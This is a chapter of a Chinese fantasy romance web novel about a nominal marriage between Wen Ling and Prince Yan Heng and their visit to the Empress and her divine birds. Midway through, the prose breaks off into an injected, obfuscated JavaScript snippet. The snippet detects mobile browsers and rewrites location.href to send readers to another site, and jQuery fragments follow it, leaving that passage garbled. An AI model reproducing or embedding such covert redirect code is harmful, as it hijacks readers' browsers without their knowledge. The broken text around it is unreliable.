听到“三年”,闻泠的眉心轻蹙。
三年太久,一年之期已是她衡量多遍。眼下朝中局势暗流涌动,太子人选迟迟未定,端王与肃王两派相争,风声渐紧。
若不是原身求得的赐婚,她无意涉足权柄,更不愿被卷入其中。她原想一年期满,她便带着腾蛇和所救神兽离开国都,前往北疆与父亲团圆,过悠闲日子。
可炎珩所说,闻泠也能理解,当初镇北将军可以为原身求的赐婚,也并非全念及其一往情深,闻家军的兵权可归肃王也是皇帝和皇后权衡过的。一年后和离,考虑肃王势力,皇后也定会再择王妃。
烛影映在闻泠侧脸,明暗交错,显得那双浅灰凤眼愈发清明。
“王爷。”她仍旧先用了旧称,语气却并无疏离之意。
炎珩抬眸,静静看着她,没有催促。
“两年。”闻泠字字清晰,
“我无心权利,只想带着腾蛇,还有我救下的那些灵兽,离开国都。”
炎珩听后一怔,他忽然意识到,他所习以为常的一切,于她而言,不过皆是枷锁。
“你……”
他喉间发紧,一时竟不知该如何开口。
若将她强行留在身边,是否阻碍了她的幸福。
而他,出生便在权利漩涡,他从未想过“不争”,即便不为自己,也要为母后走向那个位置。
他沉默良久,才低声道,
“那听你的,就两年。”他有自信在两年时间里,慢慢走进闻泠的心。
如若两年期满他未能成功,不若让她走,也好过做她幸福路上的绊脚石。
闻泠并不知炎珩心中九拐十八弯,只见他肯讲理,松了一口气。
“多谢你的理解。”她语气诚恳,
“外人面前,我会尽我所能,扮演好肃王妃。”
“另外,我会和腾蛇一起为你治疗反噬火毒。”
她抬眼看他,目光清澈,没有半分敷衍,
“至于私下里,你若有事,我也会尽量配合。”
至于炎珩提到的称呼,既是名义夫妻,称呼若仍王爷来王爷去,反倒显得疏离。
“至于称呼。”闻泠认同道,
“以后我便唤你珩儿,也不必再唤我闻姑娘,唤我泠儿吧。”
烛火轻轻一跳。炎珩只觉那两个字落下,像在他心口悠悠地挠了一下。
他原本提这个条件,不过是想与她拉近些,
却没想到,她答得爽快,甚至还替他补齐了另一半。
“泠儿。”他柔声试了一次。
闻泠点头,笑笑算是应下。
夜色已深,红蜡高烧,映得帐幔上暗影微晃。
闻泠躺在床上,轻轻调整着姿势,可无论何种睡姿,还是被硌得浑身发疼,无法入睡。
她索性平躺,手臂搭在眼上,强迫自己闭眼。这床看着富丽舒服,谁知躺上去仿佛睡在硬石之上。
她轻轻叹了口气,却被躺在房间另一侧的炎珩听得清清楚楚。他向来浅眠,行军多年养成的习惯。
方才闻泠翻身时,他便已经醒了。
听见闻泠轻叹,他终是睁眼,借着烛影望向帐内轮廓,
“可是睡不惯?”
闻泠本以为动作极轻,没料到还是惊动了他,一时有些不好意思。
“嗯,这床太硬了,有些睡不着。”
炎珩闻言,暗道失策。他这床是按自己习惯置的,行军在外多年,反倒对软床不大适应。婚前虽已吩咐丫鬟多添了几层褥子,却还是让闻泠不适。。
他起身下榻,取来房间内的备用被子,隔着纱帐递给闻泠,
“把这些铺上,明日我叫人换新床。”
帐内传来窸窣声响,闻泠铺上两床被子重新躺好,感觉好了些许,
“好多了,谢谢。”
“不必总和我道谢。”
炎珩的记忆里,闻泠对他说过最多的就是“谢谢”。
闻泠侧过身对着帐外,看到枕侧腾蛇,
“对了,想问今天大殿上,站在皇帝右侧的女人是谁?”
“你现在该叫父皇了。”炎珩下意识纠正,回忆了一下大殿上的站位,
“那位是德妃,长公主与端王的生母。”
闻泠思索着德妃与道观之间的关系,困意悄然覆上,慢慢沉入梦中。
*
天色渐白,晨光透过纱帐,映出闻泠安睡侧颜,眉目静敛,呼吸轻缓。
炎珩起得极早,他披了外袍,将提前准备的兽血滴在昨夜喜帕上。
炎珩不喜这些繁琐礼制,却也不愿叫闻泠在成婚第一日便落人口舌。世道对女子向来苛刻,皇室人多眼杂,一句闲言碎语便能伤人于无形。
一切妥当后,他将喜帕轻轻收好,正欲躺回软塌闭目养神等闻泠醒来,就听她问,
“清葭,几时了?”
“刚过卯时。”
闻泠听见炎珩的声音,睡意顿散。
想起按照礼制,今日需与炎珩入宫拜见皇后,闻泠将门外清葭唤进来梳洗打扮。
而炎珩,在闻泠沐浴离开之时,将备好的喜帕塞到被子里。
*
晨光初透,昭仁宫内已是一派热闹景象。
景和公主一早便入了宫,今日她换了身桃粉常服,行走之间鬓边珍珠耳坠轻轻摇晃,更显光彩照人。
皇后正由女官伺候梳洗,目光扫过景和,唇角不由微微一弯。她这个女儿,自小性情跳脱,不喜规矩,这样早早来给她请安,她怎可能不明白缘由。
“这才什么时辰,你倒是勤快的难得。”皇后语气温和,却带着几分揶揄。
景和公主也不在意,往榻边一坐,笑吟吟地道,
“今日是皇弟带闻泠请安的日子,我若来晚了,岂不是错过好戏?”
一旁侍奉的玄嬷嬷闻言,掩唇一笑,眼中也带了几分喜气。她随侍皇后多年,肃王从小冷面克制,而活泼的景和公主从小便喜欢逗他。
皇后轻轻摇头,却并未责她,
“待会儿人来了,你可收敛些,莫要闹得太过。”
她接过宫女手中茶盏,语气轻快,
“我倒要看看,他在闻泠面前,是不是也端着那张冷脸。”
皇后未语,见一青一白两只神鸟歇在玉架上,抬手叫宫女取来离车餐食。
宫女应声而去,不多时便捧来一白玉小盏,内里盛着细切的灵果,色泽清润,透着清香。
皇后接过玉盏,用金镊夹起草药浸润过的果肉递至青鸾喙前,目光柔和,
“这果肉按照闻泠开的药方浸泡过,离车很是喜爱。”
见青鸾接连啄食,玉盏中果肉转眼少了大半,景和公主不由啧啧称奇,
“怪了,”
“平日这等果肉,它连闻都懒得闻,今日倒肯吃。”
她俯身细细瞧了两眼玉盏中的果肉,眉梢一扬,
“瞧这样子,相比宫中灵医,闻泠更有本事些。”
“先前宫中那些灵医开的方子,青鸾可是连眼皮都不抬一下。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030796|194551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>想起那几日自己满院子追着青鸾喂药,景和便觉气恼。
青鸾闻言,似有所觉,偏过头去假意装作不知。
正说话间,殿外忽传内侍低声唱喏,炎珩已牵着闻泠步入殿中。
见二人齐齐行礼,皇后招手,
“免礼,泠儿快过来,坐到本宫身边。”
闻泠应声,在皇后身边落座,心神却早已被皇后身侧的九头凤鸟牵走。
离车静歇于白玉栖架之上,羽色层叠如焰,九首神态各异。闻泠虽已与腾蛇结契,可眼前这只九头凤鸟,却是她第一次见,眼中惊叹难以掩饰。
景和公主见闻泠目光几次落在离车身上,便知她心中好奇,
“这是离车,母后契兽。”
闻泠正欲细看,只见离车九首齐齐抬起,声声清啼破殿而出,暗金羽翼震动,火息翻涌。
皇后忙出声安抚,景和与炎珩皆不知所措。
闻泠被离车叫声一惊,忙用心念询问缘由,
“你身上为何会有冰系灵兽气息?”
“是冰灵蜥......”她忙将袖中冰灵蜥取出,示意无害,
“它只是替我避暑,并无冒犯之意。”
冰灵蜥通体幽蓝,乖顺地蜷起尾尖,伏在闻泠掌心,周身寒息逸散。
离车见状,躁动果然渐歇,只余羽翼微张。
皇后见状缓缓开口,
“难怪它会如此。”
她目光落在冰灵蜥身上,语气平稳,却自带威仪。
“我这一脉,承炎血而生。”
“本宫,景和与珩儿,皆天生火脉。”
“火脉之人,易与火系神兽相契,相生相护。离车、青鸾,赤翎雕皆循此理。”
说到这里,她略一停顿,
“而玄极之地,冰霜为主,所育灵兽多走寒脉,与我炎脉本就相斥。”
景和公主接口,笑中带着几分无奈:
“离车不是针对你,是它见了冰息,本能护主。”
闻泠闻言,心中了然,忙以心念安抚冰灵蜥,让其收敛冰息,将它重新收入袖中。
离车仍余一首盯着闻泠,金瞳明亮,警惕却收敛敌意。
皇后看了这一幕,目光在闻泠身上停了停,意味深长,
“炎国中,能养的住冰系灵兽的人,可不多。”
闻泠微怔,不明白皇后所言何意,炎珩却已站起,将她护到身后,
“母后明鉴,此冰灵蜥乃王妃在市集碰巧所救。”
“当时羿行陪在王妃身侧,可作证。”
皇后见闻泠沉静从容,淡淡一笑,
“本宫自是信的。”
然而炎珩起身过急,玉带所系香包从他腰间滑落到案几。
景和公主眼尖,那香包不似平日炎珩风格,她早已瞧见,笑着将香包拿起。
“咦?”
她指尖一捏,只觉布料细密柔软,染色淡雅不俗,也非宫中常见香包样式,忍不住凑到鼻下轻嗅,
寒香入鼻,只觉胸臆豁然,暑气顿消,心神仿佛被春风拂过,清润舒泰。
“好特别的香气。”
她由衷赞叹,又低头细细闻了闻,笑意更盛。
她抬头看向炎珩,眼中兴味盎然,语气半真半玩笑,
“你这香包,好闻得很。”
“横竖与你这身衣袍不甚相衬,不若送我如何?”
那香包是昨日大婚闻泠所赠,自系上便未舍得解下。
炎珩下意识伸手去抢,却抓了个空。